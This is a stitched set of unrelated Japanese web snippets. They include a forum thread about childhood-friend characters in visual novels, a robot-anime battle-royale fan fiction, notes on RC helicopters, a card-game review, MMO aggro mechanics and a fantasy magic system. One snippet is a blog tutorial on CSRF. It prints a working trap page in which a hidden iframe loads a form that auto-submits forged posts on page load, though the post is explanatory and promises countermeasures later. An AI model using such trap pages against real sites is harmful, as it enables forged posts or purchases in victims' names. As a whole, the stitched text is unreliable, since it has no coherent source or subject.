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06月 2002年 BasiL http //www.basil-soft.jp/products.html 13 :1 [sage] :03/10/29 16 48 ID xulxwNXF とりあえず、私の幼馴染フェチになったきっかけのキャラは kanonの名雪です。 名雪は幼馴染ぽくないですが(寝まくりで主人公が朝起こされないし) あのぼけぼけキャラがヒットしました。 まあ、他のキャラにシナリオ負けしてる分、印象が薄いですが・・・・・・・ では、私がしってる幼馴染キャラをリストアップします。(苗字は分かる限りフルネームで書きます) To Heart-神岸 あかり みずいろ-早坂 ひより Kanon-水瀬 名雪 同窓会-若林 鮎 マブラヴ-鑑 純夏 月は東に日は西に-保奈美 水月-宮代 花梨 それは舞い散る桜のように-雪村 小町 Canvas-橘 天音 秋桜の空に-桜橋 すずか ALMA-香苗 等です。 ぱっと考えて思いついたキャラとゲームを書きました。 なにげに、今年のBEST幼馴染はマブラヴの純夏だと思います。 145 :名無したちの午後 [sage] :03/11/19 16 14 ID f3yhD/NA 雪 村 小 町 最 萌 幼馴染といえば同級生が多い中で1コ下の幼馴染にはまった。 146 :名無したちの午後 [sage] :03/11/19 21 53 ID OOiBFPra そういえば 小町も幼馴染なんだよなぁ~ 学年が下だから、後輩ってイメージが強い 147 :名無したちの午後 [sage] :03/11/20 10 21 ID m5Lkb9Nq そんなこといったらすず姉も幼馴染だけど 姉って感じしかしない 148 :名無したちの午後 [sage] :03/11/20 17 19 ID u/6XV+8L 146-147 禿同 149 :名無したちの午後 [sage] :03/11/21 23 11 ID 64Rg5ZC1 小町は前半のマシンガントークボケで笑って超ボケ主人公とお似合いな奴だな~とか思ってたのに 小町ルート後半で本来は大人しい性格なのに子供の頃「笑って面白い事言ってれば一緒に遊んでやる(要約)」 と主人公に言われたから主人公の前でのみずっとそうしていたってことが明らかになるカウンターくらって泣けた・・ そして希望ルートで希望と付き合うことになった主人公が小町に「それだけ明るい性格のお前ならそのうち良い恋人 できて幸せになれるだろう(意訳)」て言うシーンで小町あまりの哀れさに鬱に・・ 169 :名無したちの午後 [sage] :03/11/24 23 38 ID ycIauzhZ でも、小町ルートに入るととたんにマシンガントークを聞けなくて鬱だった。 しかもゲーム自体が中途半端でさらに鬱。 358 :名無したちの午後 [sage] :04/01/17 04 00 ID dp6p1LDT 今までいろんな幼馴染キャラを見てきたが雪村小町 を超えるキャラはいない 653 :名無したちの午後 [sage] :04/06/17 16 52 ID oxyktb1a なあなあ、さっき思いついたんだけどさぁ。 小さい頃はよく一緒に遊んでいたけど、過去に決定的、衝撃的な事柄が起きて、それが険悪な因縁となったまま離れ離れに。で、何年かして再会して、 ・主人公→幼馴染 その過去が障害となってつれない、よそよそしい、又は完全に嫌いになっている ・幼馴染→主人公 「昔みたいに仲良くしたいのに…」 ってな展開はこの板的にはどうよ?もしくはそーゆーゲーム、既に有る? 658 :名無したちの午後 [sage] :04/06/18 00 56 ID U9v8Q2Op 653 それ散るの小町がそれに近いかな・・・? 離れ離れになってから再開するまでの期間がたった一年しかないのと、 主人公は小町に対し初めて会ったときからずっと一貫して最低な態度(他人から見れば仲よさそうに見えるけど) をとり続けているから、『小さい頃はよく一緒に遊んで』にあてはまってないとかで微妙な線ではあるけど
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遥か高くに翼は舞い ◆ZbL7QonnV. 「おい、サイバスターのパイロット! 聞こえるか!? 俺はマサキ、マサキ・アンドー! サイバスターの正式な乗り手だ!」 「ほう……?」 こちらに近付いて来る黄金の機体より入って来た通信の内容。それを聞いて、ブンドルは思わず声を上げていた。 サイバスター。自分の知っている科学技術とは全く異なる理論の元に造り出された、魔装機神と呼ばれるこの機体。 その正式な乗り手を自称する少年に、ブンドルは興味を憶えずにはいられなかった。 「名乗られたからには、名乗り返すのが礼儀と言うものだろうな。 私の名はレオナルド・メディチ・ブンドル。君達と同じく、この悪趣味なゲームに巻き込まれた人間だ。 それで、その正式な乗り手が、私に何の用かな?」 一輪の赤い薔薇を口元に寄せながら、マサキと名乗った少年の通信に応じる。 「ば、薔薇の花?」 「なーんか、ジノを思い出させる奴だニャ……」 薔薇と百合の違いはあれど、その口元に花を運ぶ仕草が、ラ・ギアスでの知人―― バゴニアの国境警備隊長、ジノ・バレンシアを思い出されて、シロは思わず口を開いていた。 「ほう……喋る猫、とは珍しい。察する所、それがファミリアと言うものか」 サイバスターの現在使用不可能な武装、ハイ・ファミリア。その武装から知った、使い魔と呼ばれる生き物の存在。 なるほど、この少年がサイバスターと縁を持つ人間である事は、どうやら間違いは無いようだ。 だが、疑い出せばキリが無い事もまた確かではある。 サイバスターの名前を知り、ファミリアを連れている。その条件を持つ人間全てが、サイバスターの乗り手だとは限らない。 まあもっとも、その可能性は低いだろうと、ブンドルは判断を下していた。 (謀略の類が出来る人間には見えんからな……) 世界経済を裏から牛耳る超巨大多国籍企業ドクーガにおいて、何の後ろ盾も無しに情報長官の地位まで上り詰めたブンドルである。 他人を評価する目に関しては、それなりの自負を持っていた。 このマサキという少年、嘘を吐ける人間ではあるまい。 「それで、マサキ……と言ったか。私に何の用向きかね?」 余裕の態度を崩さずに、ブンドルは通信機に話し掛ける。 無論、離れた場所から此方の様子を窺っている、彼の仲間らしき機体に対する警戒は解かない。 「……率直に聞く。アンタ、このゲームに乗る気はあるのか!?」 まるで叩き付けるかのような、激しい詰問の声だった。 成る程、と思う。サイバスターの戦闘能力を知る人間であれば、これがどのような人間の手に渡ったのかを気にするはずだ。 「ふむ……そうだと言ったら、君はどうするつもりかね?」 「っ……! だとしたら……アンタを野放しにしておくわけにはいかねぇ! 俺には魔装機神の操者として、そいつを悪人の手に渡しちゃおけねえんだ!」 ビームライフルを構える百式。 だが、そのトリガーが引かれる前に、ブンドルは苦笑と共に言う。 「落ち着きたまえ、少年。早合点は美しくない……。 この悪趣味な催し事に乗せられて殺し合いを始める気など、私は元より持ち合わせてはいない」 「っ…………!」 「君の言い分は理解した。だが、悪人……か。難儀な物だな……」 レオナルド・メディチ・ブンドルは悪人である。 無意味な殺戮こそ望むものではなかったが、しかるべき理由さえあるのならば他人を犠牲にする事が出来る。 実際の話、企業利益の為に他者を害した事など、片手の指では数え切れないほどである。 そんな自分が善人を名乗るなど、おこがましいにも程があると言うものだ。 「……アンタがゲームに乗る気が無いってんなら、どうしても頼みたい事がある。 そのサイバスターを、俺に返してくれないか?」 レオナルド・メディチ・ブンドルと名乗った金髪の青年に対して、マサキはあまり良い印象を持ってはいなかった。 もったいぶったような話し方や、決して余裕を絶やさない態度。それらがどことなく、自らの宿敵を思い出させたからである。 (なんっか、どことなくシュウの野郎に雰囲気が似てるんだよな……) まあもっとも、声だけを聞くならば、むしろゼクスの方が似ているのだが―― そんな事を頭の片隅で考えながら、マサキはブンドルに頼み込む。 サイバスターの力さえあれば、自分は本来の力を発揮する事が出来るようになる。 この百式とて、決して悪い機体ではない。高位精霊と契約を交わした魔装機ほどではないにせよ、B級魔装機程度の戦闘力を見込む事は出来るはずだ。 だが、それでは足りないのだ。 たとえばサイバスターが参加者に支給されたように、他にも強力な機体を支給された参加者は居るはずだ。 もしイスマイルやガッツォーのような規格外の機体を支給された参加者が居たならば、今の戦力では太刀打ち出来まい。 実際、自分達と合流する以前にゼクスとカミーユが交戦していた機体は、魔装機神と同等以上の戦闘力を持っているようだった。 だが、あのサイバスターに自分が乗り込みさえすれば、状況は確実に一転する。 防御力に特化したカミーユのメリクリウス、あらゆる状況に対応する柔軟性を持ったゼクスのメディウスと組んで戦えば、並大抵の敵に後れを取る事は無くなるはずだ。 あのブンドルと言う青年にも百式に乗り同行してもらえるならば、体勢は磐石の物になるだろう。 だが―― 「……少年。君の気持ちも分からなくはないが、それは出来かねる話だな」 「なっ……!」 「私には、やらなければならない事があるのでな。サイバスターの機動力を手放す訳にはいかないのだ」 ……虫の良い話だとは思っていた。 強力な機体を所持する事は、そのまま自身の安全にも繋がる。 サイバスターほどの強力な機体を手放したがる人間は、この状況ではまず居まい。 「だがっ……そいつに乗ってるんだったら、アンタだって分かるはずだ! サイバスターは精霊が認めた人間でなければ、真の力を発揮する事は出来ねぇ! いや、それだけじゃねえ。こいつらが居なけりゃ、ハイ・ファミリアだって使えないはずだ!」 「確かに、な。君の言う通り、私ではサイバスターの力を完全に出し切る事は出来ないようだ。 ……いや、むしろサイバスターが本来の力を出す事は出来ないと言うべきか。 あの醜悪な怪物の仕業だろうが、どうも精霊の意思とやらが抑え込まれているらしい。 まあ、そのおかげで本来魔装機神を操縦する資格の無い人間でも、サイバスターに乗る事が出来るようになっているようだが……」 ブンドルの分析は当たっていた。 サイバスターに宿った精霊の意思は、現在休眠状態にある。 基本的に定められた乗り手以外を認めない魔装機神を、あらゆる参加者に扱わせる為の処置であろう。 機体を普通に動かす分には、現在の状態でも問題は無い。 だが、その真なる力――精霊憑依を行う事は不可能だろうが。 「……ブンドル、と言ったな。私の名はゼクス・マーキス、マサキの仲間だ。 君は“やらなければならない事がある”と言っていたが、いったい何をするつもりなのだ?」 やはりマサキに交渉を任せておくのは無理だと思ったか、ゼクスがブンドルとの通信に割り込みを入れる。 「おい、まだ話は終わっちゃ……!」 「落ち着くニャ、マサキ。そんなに頭に血を上らせてたら、交渉なんて上手くいくはずがないニャ」 「そうそう。ここはゼクスさんに任せた方がいいに決まってるニャ」 「くっ……」 「ふむ……ならばその質問に答える前に、私からも質問させてもらおう。 君たちは、どうするつもりなのだ?」 「……まずは仲間を集め、このゲームに乗った連中と渡り合う為の戦力を得るべきだと思っている」 「成る程、な……」 ゼクスの答えに、ブンドルは頷く。 予想内の答えだ。大きな脅威に対抗する為、手を取り合って助け合う。 このような状況に置かれた人間としては、当然の様に行き着く答えだろう。 だが―― それでは、足りない。 「私の目的は、情報の収集だ」 このゲームに乗った参加者と、主催者に対する反抗を目論んでいる参加者の見極め。 大雑把な地図だけでは分からない、ゲーム会場の詳細な地形。 そして首輪の解析を可能とする頭脳の持ち主と、解析作業を行える設備の確保。 ジッター博士のような専門の科学者ほどではないが、ブンドルも自身も高度な科学知識を持っている。 たとえ自分の知識では解析を行う事が無理であったとしても、解析に使える設備を見繕う程度の事ならば問題無い。 その為にも必要なのが、サイバスターの機動力である。 この広大な会場内を隈無く調べ上げるには、移動手段の確保は不可欠と言えよう。 凄まじいまでの移動速度と飛行能力、そして高い戦闘力を併せ持ったサイバスターは、どうあっても手放す訳にはいかなかった。 「情報、か……」 「そうだ。色々と、知っておかなければならない事が多いようなのでな。 もし良ければで構わない。お互いの持っている情報を交換したいと思うのだが、どうかな?」 「……良かろう、断る理由は無い」 とはいえ、お互いに教える事の出来る情報は多くない。 これまでに出会った参加者の事と、このゲームに巻き込まれている知り合いの事。 そして自分達が全く異なる世界から招き入れられ、この殺し合いに参加させられているらしい事。 共有出来る情報と言えば、その程度である。 だが、その価値は決して低くないだろう。 ゼクス、カミーユ、カズイの三人は、このゲームに巻き込まれた参加者の中に、少なく無い数の知人を持っている。 その情報を得られるだけでも、情報交換を行う価値はあると言うものだ。 ……無論、彼等の話を全て鵜呑みにする訳ではない。 自分の目と耳で実際に確かめるまでは、情報の確実性を保障する事は出来ないからだ。 「……成る程、良く分かった」 知り得ておくべき事の全てを聞き終えて、ブンドルはサイバスターをサイバード形態に変化させる。 このゲーム、時間が経つほど状況は悪化する。いつまでも同じ箇所に留まり続け、時間を浪費する訳にはいかなかった。 「そろそろ私は行かせてもらおう。縁があれば、また会う事もあるやもしれんな……」 もはや用は済んだとばかりに、サイバードは空高くに飛び上がる。 そして―― 「……行ってしまいましたね」 「ああ……」 「良かったんですか?」 「仕方あるまい。この会場内を飛び回って情報を集めると言うならば、機動力に劣る我々と行動を共にする訳にはいかんだろうからな。 あのブンドルという男が殺し合いに乗っていない事が分かっただけでも、今は良しとせねばなるまい」 凄まじい速度で飛行するサイバードの姿を見送りながら、ゼクスとカミーユは安堵の表情を浮かべていた。 マサキの言葉が確かなら、サイバスターの戦闘力は疑うまでもない。もし戦いになったとしたら、犠牲者の一人が出てもおかしくはなかったであろう。 特に、エネルギーの残量が残り少ないメリクリウスは危険だ。 「それより、取り急ぎ補給地点に向かうとしよう。もし今の状態で敵に襲われたら堪らんからな」 「ええ」 気を取り直し、メディウスとメリクリウスは補給地点に向けての移動を再開しようとする。 だが……。 「……悪い、みんな。俺は、あいつを追わせてもらう」 「マサキ……?」 「な、なに言ってるニャ、マサキ!?」 「この世界にサイバスターがあるんなら、俺はその行く末を見届けておかなくちゃならない義務があるんだ!」 「待て、マサキ! 今から追い駆けたとしても、百式では……!」 「行くぜ、シロ! クロ!」 「マサキ!!」 もう豆粒ほどの大きさになったサイバードを追って、百式は止める間も無く走り出す。 「ゼクスさん、どうします!?」 「くっ……! 止むを得ん! カミーユ、まずは全速力で補給地点に向かうぞ! マサキを追うのは補給が済んでからだ!」 メディウス単機で百式を追い駆け、マサキを連れ戻すと言う考えもあった。 だが、そうしてしまうと、カミーユの身が危ぶまれる。 まだ戦う力を十分に残している百式と違って、メリクリウスは非常に厳しい。 もし単独の状況で敵に襲われてしまったら、確実に堕とされてしまうだろう。 マサキがサイバスターを追うと言うのならば、サイバスターの飛び立った方向を記憶しておけば、百式を追う事は難しくないはず。 いくら方向音痴だとはいえ、真っ直ぐに飛び立った相手を追っているのだ。普通に考えて、道に迷う事は無いだろう。 そう、普通に考えるならば。 「マサキ……無事でいろよ……!」 そしてメディウスとメリクリウスは、百式とは別の方向に走り出す。 補給が済み次第、マサキを追い駆け連れ戻すつもりで。 ……だが、彼等は知らなかった。 マサキ・アンドーが人知を超える方向音痴であった事を。 【レオナルド・メディチ・ブンドル 搭乗機体:サイバスター(魔装機神 THE LORD OF ELEMENTAL) パイロット状態:良好 機体状態:サイバード状態、ハイ・ファミリア、精霊憑依使用不可能 現在位置:D-5 第一行動方針:情報の収集 第二行動方針:首輪の解析 最終行動方針:自らの美学に従い主催者を討つ】 【マサキ・アンドー 搭乗機体:百式(機動戦士Ζガンダム) パイロット状況:良好、シロとクロも健康 機体状況:良好 現在位置:D-5 第一行動方針:サイバスターを追う 第二行動方針:サイバスターを邪悪な者には渡さない 第三行動方針:味方を集める 最終行動方針:ゲームからの脱出またはゲームの破壊】 【ゼクス・マーキス 搭乗機体:メディウス・ロクス(スーパーロボット大戦MX) パイロット状況:良好、マサキを心配 機体状況:良好 現在位置:D-5北西部 第一行動方針:D-4の補給ポイントに向かう 第二行動方針:マサキの捜索 第三行動方針:味方を集める 最終行動方針:ゲームからの脱出、またはゲームの破壊】 【カズイ・バスカーク 搭乗機体:メディウス・ロクス(スーパーロボット大戦MX) パイロット状況:良好、不安 機体状況:良好 現在位置:D-5北西部 第一行動方針:ゼクス達についていく 第二行動方針:AI1を完成させる 最終行動方針:ゲームからの脱出または優勝またはゲームの破壊】 【カミーユ・ビダン 搭乗機体:メリクリウス(新機動戦記ガンダムW) パイロット状況:良好、マサキを心配 機体状況:EN残量少 現在位置:D-5北西部 第一行動方針:D-4の補給ポイントに向かう 第二行動方針:マサキの捜索 第三行動方針:味方を集める 最終行動方針:ゲームからの脱出またはゲームの破壊】 【初日 16 45】 BACK NEXT ふりまわされる人、ふりまわす人 投下順 『歌』に振り回される人達 混乱 時系列順 コーヒーブレイク BACK 登場キャラ NEXT 引き合う風 ブンドル 騎士の美学 引き合う風 マサキ 少女ハンター・ランドール 引き合う風 カミーユ 類(仮面)は友(仮面)を呼ぶ 引き合う風 ゼクス 類(仮面)は友(仮面)を呼ぶ 引き合う風 カズイ 類(仮面)は友(仮面)を呼ぶ
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連盟の仕組み・ねらい この連盟の仕組みは、中央中学校の連盟メンバーが高校に入学し、 その高校でメンバーを募集し、 規模を広げるというのがこの連盟の仕組みです。 図で説明します。 このように各高校で支部を作り、規模を拡大させていきます。 そして各支部との交流カラオケ大会などを実施し、 交流を深めていきます。 これにより、自分の高校とは違う生徒の人とも交流をもてるため、 仲間の輪が確実に広がります。 以上が連盟の仕組み・ねらいでした。 西木氏作の会長の思想をイメージした図です。
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WEB攻撃手法のCSRFの仕組みについて考えていきます。9月14日記事 目次 CSRF コード まとめ CSRF クロスサイトリクエストフォージェリとは、WEB攻撃手法の一つで、POSTメソッドやGETメソッドで送るデータを本来のページ以外から送り付け、内容を投稿したり、ショッピング決済をさせたりすることです。 タグさえ見れれば、どういうフォームでどういう名前を付けて送られているのかがわかります。そのフォームの構造を別のファイルに作ってあげて、本来送るページへリクエストを投げれば、投稿できてしまうということです。 コード 罠用のページ !DOCTYPE HTML html head meta charset="utf-8" title CSRFの仕組み /title /head body p こんにちは。こちらは安全なサイトですよ。(と見せかける) /p iframe width="1" height="1" src="attack.html" /iframe !--インラインフレームとして、攻撃させるページを読み込む。ここでは相対パスだけど実際は絶対パスで記述される。-- /body /html 悪意のあるものが書いたが書いたattack.html !DOCTYPE HTML html head meta charset="utf-8" title 誘導ページ /title /head body onload="document.attackform.submit();" form name="attackform" method="post" action="complete.php" !--ここも実際には送り先は絶対パスで記述される-- input type="hidden" name="title" value="オレはクラッカー" input type="hidden" name="article" value="クラックしてやる" input type="submit" value="送信" /form /body /html 本来送るべき完了ページのフォームへ !DOCTYPE HTML html head meta charset="utf-8" title フォーム完了ページなど /title /head body ?php $log[0] = $_POST["title"]; $log[1] = $_POST["article"]; date_default_timezone_set( Asia/Tokyo ); $log[2] = date( Y-m-d H i s ); $log[3] = $_SERVER[ HTTP_USER_AGENT ]; //ここから記述されているかのチェックプログラム。データベースを読み込む設定はめんどくさいのでファイルに記述させる仕組みにします。 $file = @fopen( access.log , ab ) or die ( ファイル開けません。 ); flock($file, LOCK_EX);//書き込み中なので他からの書き込みを禁止 //logを記述。タブで分割し、最後に改行をする。 fwrite($file,implode("\t",$log). "\n"); fclose($file); print 記録完了 ; ? /body /html データベースに挿入させるプログラムを書いてもよかったのですが、データベースを定義しなおすのがメンドクサかったので、ファイルに書き込むというプログラムにしました。これで罠用のページにいったら、自動的に、attack.htmlが読み込まれ、onload=docmument.attackform~によって自動的に送信ボタンが押され、内容がcomplete.phpに送られるようになり、その結果、悪意のある投稿ができてしまうということです。 まとめ サーバ管理をしてログを見ていると色々なところからPOSTメソッドやGETメソッドが飛んできます。対策は今後記述していきます。 以上
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■ 仕組み… ここでは、分かっているはずの仕組みをおさらい… ■ 無線による遠隔操縦 ラジコンとは? →ラジコン【 RC 】英語読みでは、レディオ・コントロール(Radio Control) =RC と略してます。 送信機=プロポから送り出された電波信号を移動体の受信機で受信して、サーボを動かしてコントロールする仕組みの総称。移動体の駆動源によって、エンジンとモーター(電動機)に分類されます。移動体は、陸・海(川)・空 に大別出来ます。ヘリコプターの場合は、ジャイロと呼ばれる、回転翼の慣性力を自動で打ち消す-装置が必要になります。テールロック機構の物が主流となっています。 ちなみに、『 ラジコン 』は登録商標 ( 増田屋コーポレーション) です。 参考資料 プロポ(略称) ■ 構成… ラジコンヘリコプターは、使用するエンジンの大きさで機体のクラスが別れています。{ 30・50・90 } ■構成部品 機体側 1.機体 機体は、フレーム本体・テール・サポート類・垂直・水平尾翼・スキッド・燃料タンク・ボディ・駆動系と大別できます。 JRの構造は、フレームが板状となっていてフレームの間にスペーサーを入れてフレームが構成されています。 現在の EPヘリコプターの構造がこの構造で形成されています。 駆動系とは、エンジンマウント・エンジン・クラッチ・メインギヤー・マスト・メインローターへの主駆動系とギヤ・ベルトを介してテールローター系に別れています。 この二つを含めて駆動系と呼びます。 2.受信機(クリスタル) プロポから発した電波を受信する装置。受信機本体・クリスタル・アンテナからなっています。 ケーブル状のアンテナは、周波数に基づいた長さになっていますので。出来るだけ直線距離をながく取れるようにすることが大切です。 現在は、 40MHz・72MHz・2.4GHz で 3.サーボ 受信機に繋ぎ信号により駆動する動力装置。 一般的なサイズは、各社共通で使えるように取付位置など工夫されています。 信号・能力・ギアの種類などにより区別されています。 能力スペックは、速さ(Sec/60°) トルク(kg/cm) で表示されています。 主にデジタルサーボとアナログサーボがあり、テール(ラダー)駆動に使う専用サーボなどがあります。 また、サイズによってマイクロサーボ・ミニサーボなどもあります。 更に車輪駆動専用・大型サーボ・ヨット等に使用する360度回転するサーボやロボットに使う物まで様々な種類が市販されています。CCPMの場合 3個 必要です。 4.リンケージ サーボと駆動系を結ぶリンクで、ガタの少ないボールジョイント式が一般的です。 基本設定は、送信機中立(50%)の位置で、サーボ中立の時にリンクとサーボアームが直角となるようにします。 5.バッテリィ 受信機・サーボの電源で、一般的に 4.8V の電池を利用します。 容量によって800mmAh 1900mmAh 数字が大きい方がより長く使えると言う値です。現在は、電圧を制御するレギュレーターを利用して リポを利用したシステムもあります。 また、JR のサーボは 6V にも対応するので、サーボのスペックを上げる為に使用する場合もあります。 6.ジャイロ+サーボ ジャイロは、アンプ内蔵型と分離型に大別されています。また、専用サーボを利用するのが一般的です。用途も、小型機用・競技用などがありテールロック機構の振動式の小型が主流となっています。 送信機側 1.送信機(クリスタル) 送信機 = プロポ の呼び名が一般的です。 送信機・アンテナ・電池・クリスタルで構成されています。 現在は、シンセサイザー方式・2.4GHzとなりクリスタル(水晶)式は、少なくなってきつつあります。 2.アンテナ JRの場合、アンテナは、ネジ込み式となっていて交換が出来る様になっています。 ハンドランチ等では長いアンテナが邪魔になるのでハーフアンテナ・1/4λアンテナを利用する人が多い様です。 3.バッテリィ 専用バッテリィで9.6V が一般的です。ニッカド電池1.2×8本=9.6V です。こちらも各メーカーからリポが出ていますが、メーカーの保証はありません。また、11V以下から急速に電圧降下があるので管理には、注意が必要です。 ■ 初期設定… 初期設定とは…機体側の原点位置とプロポの原点を合わせる作業を言います。 プロポの初期設定とは、区別して表現してます。 ■原点とは、? 各サーボ原点 可動範囲の中央で組み立てる 調整 リンケージ原点 指定長さ 調整 トリム原点 リンクの原点と 調整 …………………………………………………………………………………………………………………………♪初めてのラジコンに戻る ■ で始めると引用文になります。 くぎります ら リンク表示文字列 以下--編集中
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大会成績 動画 http //www.stage6.com/user/fackyou/video/1956197/watch20071216 [釘宮病 頭が取れる仕組み sec.imp pu-tin Satsuei niceboat curo TravelingMan] ホームページ 評価(執筆者) 評価(執筆者)
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秋2-29 Bカード カードタイトル:霞愛歌 パワー:4500 アドヴァンス:温泉x1 ジョブ:温泉 生徒会 iluus:緋呂河とも DS 4 PS 1 『春風千桜』があなたの場から捨場に置かれた時、1ライフ得る。 空間を彩る一面の赤 効果は重複するので、ハルさんを酷使するだけすれば、8ライフぐらい得る事も夢ではありません やはりこちらも温泉生徒会なので、結構便利 あとはPSが2ぐらいあれば使えるカードでした ハルさんが少ないようなデッキなら、採用しなくても大丈夫でしょう
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ヘイトの仕組み ヘイト管理はPTにおいて重要な事柄です。とはいっても、頭ではわかっていてもなかなか難しいものなのですが…。 ヘイトというのを単純に訳すと、憎悪ですよね。 すなわち、敵さんからどれだけ嫌われるか、ということです。敵さんは当然、自分が戦っていてより嫌いなほうに攻撃していきます。 MOBの気持ちになって考えてみましょう。 ⇒あなた(MOB)はAさんから100、Bさんから200の攻撃を受けました さあ、より「嫌いだ!」と思うのはどちらでしょう? …たぶんBさんのほうが嫌いになると思います。ということで、この場合敵さんは、火力の高いBさんを攻撃します。 ではこれはどうでしょう? ⇒あなた(MOB)はAさんから100の攻撃を受け、Aさんを攻撃していたのですが、そのAさんをBさんが100、Cさんが200回復させました。 イラッとしましたか?イラッとしましたよね~。 せっかく攻撃してるのに回復させちゃうなんて!…ということで、この場合は回復力の高いCさんを攻撃します。 このように、回復魔法でもヘイトを集めてしまうことがありますので、回復のタイミングには注意が必要です。特に釣りの人を回復させるタイミングを間違えると、大変なことになります…。 (タイミングがどうとか言ってられない緊急時もありますが^^!) さて、このヘイトを意図的に稼いで、自分に攻撃がくるよう仕向けるのが壁さんの役割です。 壁さんは硬いので、他のメンバーや回復さんに攻撃がいってしまった際、ヘイトをコントロールして自分が攻撃を引きうけ、助けてくれるのです。かっこいいですね~! ヘイトを自分に向かせる方法としては最高瞬間火力で攻撃(スキルなど駆使して自分のありったけの攻撃をすることです)するか、「挑発」などのヘイトを稼ぐスキルを使うことです。 前者は壁さんではなくてもできますので、もし回復さんに攻撃がいったりして、なおかつ壁さんのスキルがCT中orすごくピンチ!だったりした場合には、その他の火力がタゲを引き受けてあげることも可能です。
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秋2-29 Bカード カードタイトル:霞愛歌 パワー:4500 アドヴァンス:温泉x1 ジョブ:温泉 生徒会 iluus:緋呂河とも DS 4 PS 1 『春風千桜』があなたの場から捨場に置かれた時、1ライフ得る。 空間を彩る一面の赤 効果は重複するので、ハルさんを酷使するだけすれば、8ライフぐらい得る事も夢ではありません やはりこちらも温泉生徒会なので、結構便利 あとはPSが2ぐらいあれば使えるカードでした ハルさんが少ないようなデッキなら、採用しなくても大丈夫でしょう
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古神魔法とは 古代神に祈りを捧げ、大いなる神の力を授かり、それを行使すること。 古代神を神と崇める僧侶系の冒険者が使用できる。 古代神の慈愛は深く、僧侶は他魔法とは違い精神力等の消費は無い。 祈りの内容は基本的には自由であり、神の教えに背かない内容であれば、その加護を得られる。 しかし、古代神は天魔戦争により深く傷を受けており、本来の力を授かることはできない。 古神魔法の仕組み 古神魔法は神の恵み。 神の力が届く場所であれば、現実的な力として発現する。 しかしこの時代の古代神は力が弱く、祈りを捧げている間しか効果を発現できない。 例えば回復魔法を使用する場合、神の力は大きく、祈りを捧げるとパーティ全員の体力が回復する。 しかし、その効果は弱いため、多くの体力を回復するためには長時間祈りを捧げ続ける必要がある。